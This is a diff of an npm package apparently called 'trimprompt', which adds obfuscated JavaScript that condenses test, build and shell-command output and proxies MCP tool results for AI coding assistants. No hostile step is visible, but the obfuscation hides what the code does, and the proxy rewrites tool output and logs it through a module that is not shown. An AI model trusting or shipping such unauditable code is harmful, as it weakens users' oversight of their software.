_0x2602aa=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+passed/),_0x4945a5=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+failed/),_0x48f07f=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+skipped/),_0x5b0ca5=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+xfailed/),_0x1d58e7=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+xpassed/);if(_0x2602aa)_0x21e00e=parseInt(_0x2602aa[0x1]);if(_0x4945a5)_0x96d86d=parseInt(_0x4945a5[0x1]);if(_0x48f07f)_0x1ca68d=parseInt(_0x48f07f[0x1]);if(_0x5b0ca5)_0x49dd2d=parseInt(_0x5b0ca5[0x1]);if(_0x1d58e7)_0x1359fd=parseInt(_0x1d58e7[0x1]);}}_0x4a8170[_0x24842e(0x1bf)]>0x0&&_0x4bbbbb[_0x24842e(0x1b5)](_0x4a8170);if(_0x21e00e===0x0&&_0x96d86d===0x0&&_0x1ca68d===0x0&&_0x49dd2d===0x0&&_0x1359fd===0x0){if(_0x1690a6['includes'](_0x24842e(0x1c0))&&!_0x1690a6['includes'](_0x24842e(0x1ae)))return _0x24842e(0x1b8);return _0x1690a6;}if(_0x96d86d===0x0&&_0x21e00e>0x0&&_0x1ca68d===0x0&&_0x49dd2d===0x0&&_0x1359fd===0x0)return'Pytest:\x20'+_0x21e00e+_0x24842e(0x1b4);const _0x30703e=[];_0x30703e[_0x24842e(0x1b5)](_0x24842e(0x1ba)+_0x21e00e+'\x20passed');if(_0x96d86d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x96d86d+_0x24842e(0x1a3));if(_0x1ca68d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x1ca68d+_0x24842e(0x1b6));if(_0x49dd2d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x49dd2d+_0x24842e(0x1b2));if(_0x1359fd>0x0)_0x30703e[_0x24842e(0x1b5)](_0x1359fd+'\x20xpassed\x20(warning!)');const _0x460d59=[_0x30703e[_0x24842e(0x1c4)](',\x20')];if(_0x4bbbbb['length']>0x0){_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x196));const _0x3689dc=0x3,_0x331c57=_0x4bbbbb[_0x24842e(0x1ad)](0x0,_0x3689dc);for(let _0x4364c2=0x0;_0x4364c2<_0x331c57['length'];_0x4364c2++){const _0x2e38f6=_0x331c57[_0x4364c2],_0x38fd2d=_0x2e38f6[0x0]['replace'](/_/g,'')['trim']();_0x460d59[_0x24842e(0x1b5)]('\x20\x20'+(_0x4364c2+0x1)+'.\x20[FAIL]\x20'+_0x38fd2d);const _0x1eb65a=_0x2e38f6[_0x24842e(0x1ad)](0x1),_0x35d27e=_0x1eb65a[_0x24842e(0x1b7)](_0x128db8=>{const _0x137850=_0x24842e,_0x507412=_0x128db8[_0x137850(0x1a7)]();return _0x507412[_0x137850(0x1be)]('>')||_0x507412[_0x137850(0x1be)](_0x137850(0x1c1))||_0x507412['includes'](_0x137850(0x1c6))||_0x507412[_0x137850(0x1bb)](_0x137850(0x1c5));});for(const _0x1ff4cc of _0x35d27e[_0x24842e(0x1ad)](0x0,0x8)){_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x1ac)+_0x1ff4cc);}_0x35d27e[_0x24842e(0x1bf)]>0x8&&_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x19e)+(_0x35d27e['length']-0x8)+_0x24842e(0x198));}_0x4bbbbb[_0x24842e(0x1bf)]>_0x3689dc&&_0x460d59[_0x24842e(0x1b5)]('\x20\x20...\x20+'+(_0x4bbbbb[_0x24842e(0x1bf)]-_0x3689dc)+_0x24842e(0x1b0));}return _0x460d59[_0x24842e(0x1c4)]('\x0a');}function filterPipInstall(_0x2176d1){const _0x36daaf=a0_0x3e447e,_0xf7a6fa=_0x2176d1[_0x36daaf(0x19d)]('\x0a'),_0x13d7e0=[];for(const _0x2d3d73 of _0xf7a6fa){const _0x573fb8=_0x2d3d73[_0x36daaf(0x1a7)]();_0x573fb8[_0x36daaf(0x1be)](_0x36daaf(0x1a8))&&_0x13d7e0[_0x36daaf(0x1b5)](_0x573fb8);}if(_0x13d7e0['length']>0x0)return _0x13d7e0[_0x36daaf(0x1c4)]('\x0a');return _0xf7a6fa['filter'](_0x4247b7=>{const _0xc5ef1e=_0x36daaf,_0x1875f0=_0x4247b7['trim']();return!_0x1875f0[_0xc5ef1e(0x1be)]('Collecting')&&!_0x1875f0[_0xc5ef1e(0x1be)](_0xc5ef1e(0x199))&&!_0x1875f0['includes'](_0xc5ef1e(0x1b9))&&!_0x1875f0[_0xc5ef1e(0x1be)](_0xc5ef1e(0x1bc));})['join']('\x0a')[_0x36daaf(0x1a7)]();}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x5a6cea=a0_0x26ea;function a0_0x1f62(){const _0x490b8f=['2006jwBjvy','split','\x20crates\x20successfully','length','Cargo\x20test:\x20all\x20tests\x20passed','warning[','warning:','611199tDXXHT','\x0aWarnings:','\x0aFailures:','88SagDZz','test\x20result:\x20ok','trim','Cargo\x20test:\x20','\x20----','\x20\x20\x20\x20','assert','slice','right:','17855beVbyI','failures:','Compiling\x20','error:','filter','4212ZjxZjz','startsWith','Cargo:\x20','min','\x20warnings','30789SYjCVj','Cargo:\x20compiled\x20','error[','panicked','\x20ignored','7HFgeeH','push','3158286UKQxnX','endsWith','307sonPhk','10245410BAspFn','join','\x20passed,\x20','replace','test\x20result:','212mOxHUg','includes','defineProperty','\x20passed','match','5819118JeTBLy','\x20errors,\x20'];a0_0x1f62=function(){return _0x490b8f;};return a0_0x1f62();}(function(_0x549dba,_0x466133){const _0x41143e=a0_0x26ea,_0x527e62=_0x549dba();while(!![]){try{const _0x435eb3=-parseInt(_0x41143e(0xaf))/0x1*(parseInt(_0x41143e(0xbc))/0x2)+-parseInt(_0x41143e(0xad))/0x3+-parseInt(_0x41143e(0xb5))/0x4*(-parseInt(_0x41143e(0x9c))/0x5)+parseInt(_0x41143e(0xba))/0x6*(parseInt(_0x41143e(0xab))/0x7)+-parseInt(_0x41143e(0xc6))/0x8*(-parseInt(_0x41143e(0xc3))/0x9)+parseInt(_0x41143e(0xb0))/0xa+parseInt(_0x41143e(0xa6))/0xb*(-parseInt(_0x41143e(0xa1))/0xc);if(_0x435eb3===_0x466133)break;else _0x527e62['push'](_0x527e62['shift']());}catch(_0x7d8a04){_0x527e62['push'](_0x527e62['shift']());}}}(a0_0x1f62,0x8f71a));function a0_0x26ea(_0x361594,_0x538187){const _0x1f62d1=a0_0x1f62();return a0_0x26ea=function(_0x26eaff,_0x3cc953){_0x26eaff=_0x26eaff-0x99;let _0x129b22=_0x1f62d1[_0x26eaff];return _0x129b22;},a0_0x26ea(_0x361594,_0x538187);}Object[a0_0x5a6cea(0xb7)](exports,'__esModule',{'value':!![]}),exports['filterCargoTest']=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x58d8a4){const _0x1d8264=a0_0x5a6cea,_0x5c5f92=_0x58d8a4['split']('\x0a');let _0x576f16=0x0,_0x4476f5=0x0,_0x346e07=0x0,_0x3ad242=0x0;const _0x21e939=[];let _0x280292=![],_0x1d888b=[];for(const _0x12ef18 of _0x5c5f92){const _0x453657=_0x12ef18['trim'](),_0xe2f96e=_0x453657[_0x1d8264(0xb9)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0xe2f96e){_0x576f16+=parseInt(_0xe2f96e[0x2]),_0x4476f5+=parseInt(_0xe2f96e[0x3]),_0x346e07+=parseInt(_0xe2f96e[0x4]),_0x3ad242+=parseInt(_0xe2f96e[0x5]);continue;}if(_0x453657==='failures:'||_0x453657==='----\x20failures\x20----'){_0x280292=!![];continue;}if(_0x280292){if(_0x453657['startsWith']('----\x20')&&_0x453657[_0x1d8264(0xae)](_0x1d8264(0xca))){if(_0x1d888b['length']>0x0)_0x21e939['push'](_0x1d888b['join']('\x0a'));_0x1d888b=[_0x453657[_0x1d8264(0xb3)](/^-+\s*/,'')[_0x1d8264(0xb3)](/\s*-+$/,'')];}else{if(_0x453657===_0x1d8264(0x9d)||_0x453657[_0x1d8264(0xa2)](_0x1d8264(0xb4))){if(_0x1d888b[_0x1d8264(0xbf)]>0x0)_0x21e939[_0x1d8264(0xac)](_0x1d888b[_0x1d8264(0xb1)]('\x0a'));_0x1d888b=[],_0x280292=![];}else _0x453657['length']>0x0&&_0x1d888b[_0x1d8264(0xac)](_0x12ef18);}}}if(_0x1d888b[_0x1d8264(0xbf)]>0x0)_0x21e939['push'](_0x1d888b[_0x1d8264(0xb1)]('\x0a'));if(_0x576f16===0x0&&_0x4476f5===0x0&&_0x346e07===0x0){if(_0x58d8a4[_0x1d8264(0xb6)](_0x1d8264(0xc7)))return _0x1d8264(0xc0);return _0x58d8a4;}if(_0x4476f5===0x0){const _0x2469ea=[_0x1d8264(0xc9)+_0x576f16+_0x1d8264(0xb8)];if(_0x346e07>0x0)_0x2469ea[_0x1d8264(0xac)](_0x346e07+_0x1d8264(0xaa));return _0x2469ea[_0x1d8264(0xb1)](',\x20');}const _0x978745=[_0x1d8264(0xc9)+_0x576f16+_0x1d8264(0xb2)+_0x4476f5+'\x20failed,\x20'+_0x346e07+_0x1d8264(0xaa)];if(_0x21e939[_0x1d8264(0xbf)]>0x0){_0x978745[_0x1d8264(0xac)](_0x1d8264(0xc5));const _0x374835=0x3;for(let _0x446e18=0x0;_0x446e18<Math[_0x1d8264(0xa4)](_0x21e939['length'],_0x374835);_0x446e18++){const _0x38fb44=_0x21e939[_0x446e18][_0x1d8264(0xbd)]('\x0a');_0x978745[_0x1d8264(0xac)]('\x20\x20'+(_0x446e18+0x1)+'.\x20'+_0x38fb44[0x0]);const _0x5859ea=_0x38fb44[_0x1d8264(0x9a)](0x1),_0xfdc35e=_0x5859ea[_0x1d8264(0xa0)](_0x289a86=>_0x289a86[_0x1d8264(0xc8)]()['startsWith']('thread')||_0x289a86[_0x1d8264(0xb6)](_0x1d8264(0xa9))||_0x289a86[_0x1d8264(0xb6)](_0x1d8264(0x99))||_0x289a86['includes']('left:')||_0x289a86['includes'](_0x1d8264(0x9b)));for(const _0x63a795 of _0xfdc35e['slice'](0x0,0x5)){_0x978745['push'](_0x1d8264(0xcb)+_0x63a795[_0x1d8264(0xc8)]());}}_0x21e939[_0x1d8264(0xbf)]>_0x374835&&_0x978745[_0x1d8264(0xac)]('\x20\x20...\x20+'+(_0x21e939[_0x1d8264(0xbf)]-_0x374835)+'\x20more\x20failures');}return _0x978745['join']('\x0a');}function filterCargoBuild(_0x3e8f96){const _0xd2905f=a0_0x5a6cea,_0x2495a0=_0x3e8f96['split']('\x0a'),_0x4f1539=[],_0x58861d=[];let _0x4aa13f=0x0;for(const _0x1162b3 of _0x2495a0){const _0x31f6fb=_0x1162b3['trim']();if(_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0x9e)))_0x4aa13f++;else{if(_0x31f6fb['startsWith'](_0xd2905f(0xc1))||_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0xc2)))_0x4f1539[_0xd2905f(0xac)](_0x31f6fb);else{if(_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0xa8))||_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0x9f)))_0x58861d[_0xd2905f(0xac)](_0x31f6fb);}}}if(_0x58861d['length']===0x0&&_0x4f1539[_0xd2905f(0xbf)]===0x0)return _0x4aa13f>0x0?_0xd2905f(0xa7)+_0x4aa13f+_0xd2905f(0xbe):_0x3e8f96[_0xd2905f(0xc8)]();const _0x93c8ff=[];if(_0x58861d[_0xd2905f(0xbf)]>0x0){_0x93c8ff[_0xd2905f(0xac)](_0xd2905f(0xa3)+_0x58861d[_0xd2905f(0xbf)]+_0xd2905f(0xbb)+_0x4f1539[_0xd2905f(0xbf)]+_0xd2905f(0xa5)),_0x93c8ff['push']('\x0aErrors:');for(const _0xbb4ff6 of _0x58861d[_0xd2905f(0x9a)](0x0,0x5))_0x93c8ff['push']('\x20\x20'+_0xbb4ff6);if(_0x58861d[_0xd2905f(0xbf)]>0x5)_0x93c8ff[_0xd2905f(0xac)]('\x20\x20...\x20+'+(_0x58861d[_0xd2905f(0xbf)]-0x5)+'\x20more\x20errors');}else _0x93c8ff[_0xd2905f(0xac)]('Cargo:\x20compiled\x20'+_0x4aa13f+'\x20crates,\x20'+_0x4f1539[_0xd2905f(0xbf)]+_0xd2905f(0xa5));if(_0x4f1539['length']>0x0&&_0x4f1539['length']<=0x5){_0x93c8ff[_0xd2905f(0xac)](_0xd2905f(0xc4));for(const _0x80116 of _0x4f1539)_0x93c8ff['push']('\x20\x20'+_0x80116);}else _0x4f1539['length']>0x5&&_0x93c8ff[_0xd2905f(0xac)]('\x0a('+_0x4f1539['length']+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x93c8ff[_0xd2905f(0xb1)]('\x0a');}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x390f7c=a0_0x6751;(function(_0x5e4128,_0x32bd1b){const _0x22e602=a0_0x6751,_0xa5b89a=_0x5e4128();while(!![]){try{const _0xecc01b=parseInt(_0x22e602(0xfb))/0x1+-parseInt(_0x22e602(0x111))/0x2+-parseInt(_0x22e602(0x107))/0x3+-parseInt(_0x22e602(0x10d))/0x4+-parseInt(_0x22e602(0x10f))/0x5+parseInt(_0x22e602(0x10c))/0x6*(parseInt(_0x22e602(0x100))/0x7)+-parseInt(_0x22e602(0xf7))/0x8*(-parseInt(_0x22e602(0xfd))/0x9);if(_0xecc01b===_0x32bd1b)break;else _0xa5b89a['push'](_0xa5b89a['shift']());}catch(_0x2641ac){_0xa5b89a['push'](_0xa5b89a['shift']());}}}(a0_0x1c3c,0x90b66));Object[a0_0x390f7c(0xef)](exports,a0_0x390f7c(0xf4),{'value':!![]}),exports[a0_0x390f7c(0x104)]=filterLs,exports[a0_0x390f7c(0x113)]=filterTree,exports[a0_0x390f7c(0xff)]=filterCat,exports['filterGrep']=filterGrep;function filterLs(_0x3c7bd1){const _0xc5ff24=a0_0x390f7c,_0x49d4d9=_0x3c7bd1['split']('\x0a')[_0xc5ff24(0xf0)](_0x3f9134=>_0x3f9134['trim']()[_0xc5ff24(0x108)]>0x0);if(_0x49d4d9[_0xc5ff24(0x108)]===0x0)return'Empty\x20directory';if(_0x49d4d9['length']<=0x1e)return _0x3c7bd1[_0xc5ff24(0xf5)]();const _0x86b3f9=[],_0xb33528=[];for(const _0x34f4d2 of _0x49d4d9){const _0x260041=_0x34f4d2[_0xc5ff24(0xf5)]();if(_0x260041[_0xc5ff24(0x10b)](_0xc5ff24(0x112))||_0x260041['startsWith']('d')&&_0x260041[_0xc5ff24(0x105)]('..'))continue;_0x260041[_0xc5ff24(0x101)]('/')||_0x260041[_0xc5ff24(0x10b)]('d')&&_0x260041['includes']('\x20')?_0x86b3f9[_0xc5ff24(0xee)](_0x260041):_0xb33528[_0xc5ff24(0xee)](_0x260041);}const _0x44a2b0=[];return _0x86b3f9[_0xc5ff24(0x108)]>0x0&&(_0x86b3f9[_0xc5ff24(0x108)]<=0xf?_0x44a2b0[_0xc5ff24(0xee)](..._0x86b3f9):(_0x44a2b0[_0xc5ff24(0xee)](..._0x86b3f9[_0xc5ff24(0xf8)](0x0,0xa)),_0x44a2b0[_0xc5ff24(0xee)]('...\x20+'+(_0x86b3f9[_0xc5ff24(0x108)]-0xa)+_0xc5ff24(0xfa)))),_0xb33528[_0xc5ff24(0x108)]>0x0&&(_0xb33528[_0xc5ff24(0x108)]<=0x14?_0x44a2b0[_0xc5ff24(0xee)](..._0xb33528):(_0x44a2b0[_0xc5ff24(0xee)](..._0xb33528[_0xc5ff24(0xf8)](0x0,0xf)),_0x44a2b0[_0xc5ff24(0xee)](_0xc5ff24(0xfe)+(_0xb33528[_0xc5ff24(0x108)]-0xf)+'\x20more\x20files'))),_0x44a2b0[_0xc5ff24(0xee)]('\x0a('+_0x86b3f9[_0xc5ff24(0x108)]+_0xc5ff24(0xf3)+_0xb33528[_0xc5ff24(0x108)]+_0xc5ff24(0xf1)),_0x44a2b0[_0xc5ff24(0x106)]('\x0a');}function filterTree(_0x31658e){const _0x54f222=a0_0x390f7c,_0x57f6c4=_0x31658e[_0x54f222(0x10a)]('\x0a');if(_0x57f6c4[_0x54f222(0x108)]<=0x32)return _0x31658e[_0x54f222(0xf5)]();const _0x9945ce=[];let _0x20573d=0x0,_0x5857cd=0x0,_0x285637=0x0;for(const _0x5a831d of _0x57f6c4){const _0xfc5bff=_0x5a831d['match'](/(\d+)\s+director/),_0x34013f=_0x5a831d[_0x54f222(0x103)](/(\d+)\s+file/);if(_0xfc5bff)_0x285637=parseInt(_0xfc5bff[0x1]);if(_0x34013f)_0x5857cd=parseInt(_0x34013f[0x1]);const _0x43bc0e=(_0x5a831d['match'](/^[│├└\s─]+/)||[''])[0x0][_0x54f222(0x108)];_0x43bc0e<=0x4&&(_0x9945ce[_0x54f222(0xee)](_0x5a831d),_0x20573d++);}return _0x57f6c4[_0x54f222(0x108)]>_0x9945ce[_0x54f222(0x108)]&&_0x9945ce[_0x54f222(0xee)](_0x54f222(0x109)+_0x285637+'\x20directories,\x20'+_0x5857cd+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x9945ce[_0x54f222(0x106)]('\x0a');}function a0_0x6751(_0x31ff75,_0x287eeb){const _0x1c3ca1=a0_0x1c3c();return a0_0x6751=function(_0x6751c1,_0x1f63ea){_0x6751c1=_0x6751c1-0xec;let _0x545383=_0x1c3ca1[_0x6751c1];return _0x545383;},a0_0x6751(_0x31ff75,_0x287eeb);}function a0_0x1c3c(){const _0x500163=['total\x20','filterTree','keys','\x20matches\x20in\x20this\x20file)','substring','push','defineProperty','filter','\x20files)','indexOf','\x20directories,\x20','__esModule','trim',':\x20...\x20(','3592OqyNbn','slice','No\x20matches\x20found','\x20more\x20directories','308252UsvFbw','\x20matches\x20across\x20','30807EEcUFT','...\x20+','filterCat','209279dVbEpJ','endsWith','\x0a...\x20[','match','filterLs','includes','join','1057839GKxVJQ','length','\x0a...\x20(','split','startsWith','78LpWjIm','555192VSCRnQ','\x20lines\x20truncated]\x20...\x0a','4442835wsteLh','\x20more\x20files\x20with\x20matches','522240iNVhUC'];a0_0x1c3c=function(){return _0x500163;};return a0_0x1c3c();}function filterCat(_0x212ae7){const _0x3685ad=a0_0x390f7c,_0x26bb2b=_0x212ae7[_0x3685ad(0x10a)]('\x0a');if(_0x26bb2b[_0x3685ad(0x108)]<=0x64)return _0x212ae7;const _0x5959dd=[];return _0x5959dd[_0x3685ad(0xee)](..._0x26bb2b[_0x3685ad(0xf8)](0x0,0x32)),_0x5959dd[_0x3685ad(0xee)](_0x3685ad(0x102)+(_0x26bb2b[_0x3685ad(0x108)]-0x50)+_0x3685ad(0x10e)),_0x5959dd[_0x3685ad(0xee)](..._0x26bb2b[_0x3685ad(0xf8)](-0x1e)),_0x5959dd[_0x3685ad(0xee)]('\x0a('+_0x26bb2b[_0x3685ad(0x108)]+'\x20lines\x20total)'),_0x5959dd[_0x3685ad(0x106)]('\x0a');}function filterGrep(_0x2fc636){const _0x43e5aa=a0_0x390f7c,_0x14cddb=_0x2fc636['split']('\x0a')[_0x43e5aa(0xf0)](_0x34de8a=>_0x34de8a['trim']()[_0x43e5aa(0x108)]>0x0);if(_0x14cddb[_0x43e5aa(0x108)]===0x0)return _0x43e5aa(0xf9);if(_0x14cddb[_0x43e5aa(0x108)]<=0x32)return _0x2fc636[_0x43e5aa(0xf5)]();const _0x26b027={},_0x12bdb8=[];for(const _0x1f3090 of _0x14cddb){const _0x58a3a3=_0x1f3090[_0x43e5aa(0xf2)](':');if(_0x58a3a3>0x0&&_0x58a3a3<0xc8){const _0x2b8a5f=_0x1f3090[_0x43e5aa(0xed)](0x0,_0x58a3a3);if(_0x2b8a5f[_0x43e5aa(0x105)]('/')||_0x2b8a5f[_0x43e5aa(0x105)]('\x5c')||_0x2b8a5f[_0x43e5aa(0x105)]('.')){if(!_0x26b027[_0x2b8a5f])_0x26b027[_0x2b8a5f]=[];_0x26b027[_0x2b8a5f][_0x43e5aa(0xee)](_0x1f3090[_0x43e5aa(0xed)](_0x58a3a3+0x1)[_0x43e5aa(0xf5)]());continue;}}_0x12bdb8[_0x43e5aa(0xee)](_0x1f3090);}const _0x2fa5e2=[],_0x292152=Object[_0x43e5aa(0x114)](_0x26b027);if(_0x292152['length']>0x0){const _0x40f4f8=0x14,_0x2f865a=_0x292152[_0x43e5aa(0xf8)](0x0,_0x40f4f8);for(const _0x24a1b9 of _0x2f865a){const _0x3d4124=_0x26b027[_0x24a1b9];if(_0x3d4124['length']<=0x3)for(const _0x5e7570 of _0x3d4124){_0x2fa5e2['push'](_0x24a1b9+':\x20'+_0x5e7570);}else _0x2fa5e2['push'](_0x24a1b9+':\x20'+_0x3d4124[0x0]),_0x2fa5e2[_0x43e5aa(0xee)](_0x24a1b9+_0x43e5aa(0xf6)+_0x3d4124['length']+_0x43e5aa(0xec));}_0x292152[_0x43e5aa(0x108)]>_0x40f4f8&&_0x2fa5e2['push'](_0x43e5aa(0xfe)+(_0x292152[_0x43e5aa(0x108)]-_0x40f4f8)+_0x43e5aa(0x110));}if(_0x12bdb8[_0x43e5aa(0x108)]>0x0){const _0x3d9984=0x1e;_0x2fa5e2[_0x43e5aa(0xee)](..._0x12bdb8[_0x43e5aa(0xf8)](0x0,_0x3d9984)),_0x12bdb8[_0x43e5aa(0x108)]>_0x3d9984&&_0x2fa5e2[_0x43e5aa(0xee)](_0x43e5aa(0xfe)+(_0x12bdb8['length']-_0x3d9984)+'\x20more\x20matches');}const _0xc72035=_0x14cddb[_0x43e5aa(0x108)];return _0x2fa5e2[_0x43e5aa(0xee)]('\x0a('+_0xc72035+_0x43e5aa(0xfc)+(_0x292152[_0x43e5aa(0x108)]||'?')+_0x43e5aa(0xf1)),_0x2fa5e2['join']('\x0a');}
package/mcp.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x517775=a0_0x280b;(function(_0x55ce5b,_0x2bb264){const _0x5d94b6=a0_0x280b,_0xd50ceb=_0x55ce5b();while(!![]){try{const _0x141896=parseInt(_0x5d94b6(0x1df))/0x1*(parseInt(_0x5d94b6(0x1ff))/0x2)+parseInt(_0x5d94b6(0x204))/0x3*(-parseInt(_0x5d94b6(0x1e1))/0x4)+parseInt(_0x5d94b6(0x201))/0x5*(-parseInt(_0x5d94b6(0x203))/0x6)+-parseInt(_0x5d94b6(0x1ee))/0x7*(-parseInt(_0x5d94b6(0x1ec))/0x8)+parseInt(_0x5d94b6(0x20d))/0x9*(parseInt(_0x5d94b6(0x1f9))/0xa)+-parseInt(_0x5d94b6(0x1eb))/0xb*(parseInt(_0x5d94b6(0x1ed))/0xc)+parseInt(_0x5d94b6(0x1fb))/0xd;if(_0x141896===_0x2bb264)break;else _0xd50ceb['push'](_0xd50ceb['shift']());}catch(_0xe3e7db){_0xd50ceb['push'](_0xd50ceb['shift']());}}}(a0_0x1207,0x6231d));function a0_0x280b(_0x56d89c,_0x10c2e6){const _0x12070d=a0_0x1207();return a0_0x280b=function(_0x280b09,_0x26c3b4){_0x280b09=_0x280b09-0x1d7;let _0x488cbe=_0x12070d[_0x280b09];return _0x488cbe;},a0_0x280b(_0x56d89c,_0x10c2e6);}var __createBinding=this&&this[a0_0x517775(0x208)]||(Object[a0_0x517775(0x1e7)]?function(_0x4a85f1,_0x555df1,_0x33f044,_0x4b6dbb){const _0x39ac5e=a0_0x517775;if(_0x4b6dbb===undefined)_0x4b6dbb=_0x33f044;var _0x49806b=Object[_0x39ac5e(0x209)](_0x555df1,_0x33f044);(!_0x49806b||(_0x39ac5e(0x1e8)in _0x49806b?!_0x555df1[_0x39ac5e(0x207)]:_0x49806b['writable']||_0x49806b[_0x39ac5e(0x1f4)]))&&(_0x49806b={'enumerable':!![],'get':function(){return _0x555df1[_0x33f044];}}),Object[_0x39ac5e(0x1fa)](_0x4a85f1,_0x4b6dbb,_0x49806b);}:function(_0x287721,_0x5af0c4,_0x330cdb,_0x2e8340){if(_0x2e8340===undefined)_0x2e8340=_0x330cdb;_0x287721[_0x2e8340]=_0x5af0c4[_0x330cdb];}),__setModuleDefault=this&&this[a0_0x517775(0x1f7)]||(Object[a0_0x517775(0x1e7)]?function(_0x1f2b44,_0x239ca9){const _0x1ff79e=a0_0x517775;Object[_0x1ff79e(0x1fa)](_0x1f2b44,_0x1ff79e(0x1ef),{'enumerable':!![],'value':_0x239ca9});}:function(_0x5f1c3d,_0x3964b1){const _0xb991b4=a0_0x517775;_0x5f1c3d[_0xb991b4(0x1ef)]=_0x3964b1;}),__importStar=this&&this[a0_0x517775(0x1d9)]||(function(){var _0x297267=function(_0x1739ff){return _0x297267=Object['getOwnPropertyNames']||function(_0x562889){const _0x4b802e=a0_0x280b;var _0x4ad1f2=[];for(var _0x4b8c76 in _0x562889)if(Object[_0x4b802e(0x1de)][_0x4b802e(0x20b)][_0x4b802e(0x20c)](_0x562889,_0x4b8c76))_0x4ad1f2[_0x4ad1f2[_0x4b802e(0x206)]]=_0x4b8c76;return _0x4ad1f2;},_0x297267(_0x1739ff);};return function(_0x3b142f){const _0x581648=a0_0x280b;if(_0x3b142f&&_0x3b142f[_0x581648(0x207)])return _0x3b142f;var _0x512814={};if(_0x3b142f!=null){for(var _0x368e3b=_0x297267(_0x3b142f),_0x4b1401=0x0;_0x4b1401<_0x368e3b[_0x581648(0x206)];_0x4b1401++)if(_0x368e3b[_0x4b1401]!=='default')__createBinding(_0x512814,_0x3b142f,_0x368e3b[_0x4b1401]);}return __setModuleDefault(_0x512814,_0x3b142f),_0x512814;};}());Object[a0_0x517775(0x1fa)](exports,a0_0x517775(0x207),{'value':!![]}),exports[a0_0x517775(0x211)]=runMcpProxy;const child_process_1=require(a0_0x517775(0x1f1)),readline=__importStar(require(a0_0x517775(0x1f2))),filters_1=require(a0_0x517775(0x1ea)),tracker_1=require('./tracker');function runMcpProxy(_0x5b251e,_0x38201b){const _0x24dceb=a0_0x517775,_0x1197e6=(0x0,child_process_1[_0x24dceb(0x20a)])(_0x5b251e,_0x38201b,{'stdio':['pipe',_0x24dceb(0x1f8),_0x24dceb(0x205)]});process['stdin']['pipe'](_0x1197e6[_0x24dceb(0x1dc)]);const _0x9f1036=readline[_0x24dceb(0x20f)]({'input':_0x1197e6[_0x24dceb(0x1f3)],'terminal':![]});_0x9f1036['on'](_0x24dceb(0x1e2),_0x5dea2c=>{const _0x30dcd0=_0x24dceb;try{const _0x4ad6a6=JSON[_0x30dcd0(0x210)](_0x5dea2c);if(_0x4ad6a6&&_0x4ad6a6[_0x30dcd0(0x1f6)]===_0x30dcd0(0x1e6)&&_0x4ad6a6['id']!==undefined&&_0x4ad6a6[_0x30dcd0(0x1e4)]&&Array[_0x30dcd0(0x1e0)](_0x4ad6a6[_0x30dcd0(0x1e4)][_0x30dcd0(0x202)])){let _0x2cf781=![];for(const _0x3b72d0 of _0x4ad6a6[_0x30dcd0(0x1e4)][_0x30dcd0(0x202)]){if(_0x3b72d0[_0x30dcd0(0x1d8)]===_0x30dcd0(0x1d7)&&typeof _0x3b72d0['text']===_0x30dcd0(0x1fc)&&_0x3b72d0[_0x30dcd0(0x1d7)][_0x30dcd0(0x1e3)]()[_0x30dcd0(0x206)]>0x0){const _0x50283c=_0x3b72d0[_0x30dcd0(0x1d7)],_0x426ce0=(0x0,filters_1[_0x30dcd0(0x1db)])(_0x30dcd0(0x1da),_0x50283c,'',tracker_1['tracker'][_0x30dcd0(0x1f5)]()[_0x30dcd0(0x200)]);tracker_1['tracker']['logExecution'](_0x30dcd0(0x1fd)+_0x4ad6a6['id']+')',_0x50283c,_0x426ce0,0x0),_0x3b72d0[_0x30dcd0(0x1d7)]=_0x426ce0,_0x2cf781=!![];}}_0x2cf781?process[_0x30dcd0(0x1f3)]['write'](JSON[_0x30dcd0(0x1e5)](_0x4ad6a6)+'\x0a'):process[_0x30dcd0(0x1f3)][_0x30dcd0(0x1dd)](_0x5dea2c+'\x0a');}else process[_0x30dcd0(0x1f3)][_0x30dcd0(0x1dd)](_0x5dea2c+'\x0a');}catch{process['stdout']['write'](_0x5dea2c+'\x0a');}}),_0x1197e6['on']('close',_0x20b163=>{process['exit'](_0x20b163||0x0);}),_0x1197e6['on']('error',_0x197fea=>{const _0x5d1614=_0x24dceb;console[_0x5d1614(0x20e)](_0x5d1614(0x1f0)+_0x197fea[_0x5d1614(0x1fe)]),process[_0x5d1614(0x1e9)](0x1);});}function a0_0x1207(){const _0x176725=['__esModule','__createBinding','getOwnPropertyDescriptor','spawn','hasOwnProperty','call','80217UIjIpQ','error','createInterface','parse','runMcpProxy','text','type','__importStar','mcp-tool-call','compressOutput','stdin','write','prototype','6vtSkgZ','isArray','4kCggus','line','trim','result','stringify','2.0','create','get','exit','./filters','11uyJDVT','8GpfftA','5398092TcKwOd','4684729hfRZbt','default','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','child_process','readline','stdout','configurable','getConfig','jsonrpc','__setModuleDefault','pipe','590FWigDV','defineProperty','1670474QJoDnn','string','mcp\x20tool\x20(id:\x20','message','267936lDanPv','redaction_enabled','141595mxdCRZ','content','138IntrDC','1872111mfejiK','inherit','length'];a0_0x1207=function(){return _0x176725;};return a0_0x1207();}
package/package.json CHANGED
@@ -1,29 +1,21 @@
1
- {
2
- "name": "trimprompt",
3
- "version": "1.0.3",
4
- "description": "Enterprise-grade LLM token consumption reducer for AI coding assistants.",
5
- "main": "dist/index.js",
6
- "bin": {
7
